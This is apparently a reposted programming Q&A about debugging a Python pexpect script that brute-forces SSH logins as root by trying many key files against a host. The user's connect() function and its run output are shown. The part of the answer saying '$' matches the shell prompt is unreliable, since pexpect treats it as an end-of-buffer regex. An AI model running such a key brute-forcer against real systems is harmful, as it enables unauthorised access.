def connect(user,host,keyfile,release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr= 'ssh ' + user + '@' + host + ' -i ' +keyfile + opt
child = pexpect.spawn(connStr)
ret=child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#'])
print(child.before)
if ret== 2:
print('[[-] Adding Host to !/.ssh/known_hosts')
child.sendline('yes')
elif ret ==3:
print('[-] Connection Closed by Remote Host')
Fails += 1
elif ret > 3:
print('[+] Success.' + str(keyfile)+ ' ' + str(ret))
Stop = True
finally:
if release:
connection_lock.release()**
Please check the python code I have above.
when I execute:
python3 brutekey-ssh.py -H 127.0.0.1 -u root -d dsa/1024/
[-] Testing keyfile dsa/1024/a31b082ec6434d65c2adf76862b9aca7-30343
[-] Testing keyfile dsa/1024/fb80119b7615bbeb96cb7d2f55b7533d-10375
b''
[+] Success.dsa/1024/1f09490e311786ec22ff32715ca106e9-1279 4
[*] Exiting:Key Found
b''
[+] Success.dsa/1024/b23696eee5b31ed916002d3ec2ddb5f6-18108 4
b''
[+] Success.dsa/1024/a31b082ec6434d65c2adf76862b9aca7-30343 4
My questions are as follows:
Even it get a permission denied, it still matches ret > 3
, why?
How to check the exact output of child.expect
Do I need to use .*\\$
instead of $
? does $
only match the exact $
in the output?
1:Even it get a permission denied, it still match ret>3 why?
ans: Probably because the output of the perm_denied
case contained one of the bash characters('#', '$'), print the value of child.before
or take manual steps to be sure what's happening before automating. It should return 0 in case it didn't match anything and caused a TIMEOUT. And it returns 0 instead of raising an exception because you added pexpect.TIMEOUT
to the list.
2: How to check the exact output of child.expect?
ans: child.expect
returns the index(int) of the item in the list you passed to it. So in your case you passed [pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#']
, .expect
will return the index of whatever that was matched first from left to right by the backend regex. The exact value of it is in your ret
variable.
3: do I need to use .*\\$ instead of $? does '$' only match the exact $ in output?
ans: Yes it is enough to match the bash prompt. The only case where they might break is when something from your child prints out a #
character from some function.
pexpect
has good documentation , Read the examples here and it should be plenty.
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.